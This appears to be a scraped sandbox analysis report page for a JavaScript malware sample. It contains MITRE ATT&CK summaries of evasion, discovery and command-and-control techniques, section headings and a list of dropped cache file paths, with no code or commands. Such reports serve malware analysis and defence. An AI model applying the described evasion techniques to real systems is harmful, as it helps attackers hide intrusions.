Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 522327491130758262.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f51fc4e1-2a33-4a4e-beef-72142a1cbc4c.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
522327491130758262.js